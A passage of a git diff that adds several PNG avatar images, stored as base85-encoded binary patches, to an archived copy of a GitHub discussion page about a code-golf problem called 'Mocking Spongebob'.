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 JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/33086936_004.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/33086936_004.png new file mode 100644 index 0000000000000000000000000000000000000000..5ba5de9491d93487fad7a8c930fb42132e842726 GIT binary patch literal 1547 zcmV+m2K4!fP)HW88;2bTPAlXZC`uZtN`V$6mP813X}8V=F}EtJDz!ySh&BVf?b4-9VP$Ce1CR&= z0cIjX6o?=Q93V@80md)@a)RySgmAx7??*>|{1qp4@+cC&DRvG%7gz1`aXWqhV7e`P z{%e3%@)x>OX%}>yLYet z`oUoE?c2BB_TnXUGMTjW!t=bh+@3+39k3B+v8cTNK64L0`Le z4LN3JW@K5$ld7uD&d%Bq&(6*&ih?bF{P=O^%o&DZIF8%i-tGkS_3PJ>BNB;Jt5rhC z=H}-5`a0Rk;NYN{I1-6ynnnoO*w{!U5`++0mV?0{a=&`@s=d(EF~czP^YZ|(v9W=N ztE;O3u(-HrhQ4&^5&*2Mtl(iHkpO_{>1jM{!FLl2rerc1kH_hu&*x(prdqAyp{8l{ zq#=I4pEjT$_U!qm>q@0EIXRin=iQUIHBFy9npi9b0OfM|e>;&RNl}!cp&@e@Cr_TN z)oPL?UAb~)Wo4yYE(5^u@UXs3Q_rO<=&h|S14keb$Ye75Hnm!9Zf?#_&GPcH;hL#b zips|DJnxdbF|^q+$8kvf^y$-BEVj54gE@1e(dhE>^5x5y$H&KUkiK*0P9P94_;xdX zH-L6IhPSECAnmT^=>>17xG%sGfICkuq z9r5YYr*pZSrPO=(?&<&YZhYH9n`dd3Ws&&#^XI+2y@qdPS^oCz+t}EcnfTnfbH9H5 zDwRrx^Hl1C2M=(Bap~I{+U%HR*>pM$0NHHzz<~p1GMpL-A^M@(=ku+uuGZ^y05C)A zrQW)A%fRj6+XC8rAG0j`@Zm!Mc=__B{?;@=D~du00e~AfZutHF-rn9+Duwg5s;ZXI zdZ~Bs-ZeZJcH@Z=I+aSEwIjxijEvxRAr_0Z?AR@|%k35bEG;eB5zo!d{r>%1-?%l$O+Z`vjz*(& zV|(@LRY{UGO|#qw3=It_iXur8Zh>)QYxv7}zpCJ#2{`~nv zi3LG8b?TIRlGe*&M~@z@)oS{(n5wErjvO&}F*rDgMYHww_07#qLP)h*jYJ|HDvM#L z@AK!+(*h(R#JK>esw%dWWqD?1rlSQ&jK0)6wUdUW-cTrnEpchy=~6GI`-gnmRtgr4q?SgJ={{C95Q|U_R{|5j7|NkcBPJ;<@sq_E<002ovPDHLkV1nkLAtC?( literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..63f1955c493175f08505d2858d3b0760857ad073 GIT binary patch literal 2838 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..8ef64b2c24c3cbe04945ff1d3784fa7eeb967e6c GIT binary patch literal 3124 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 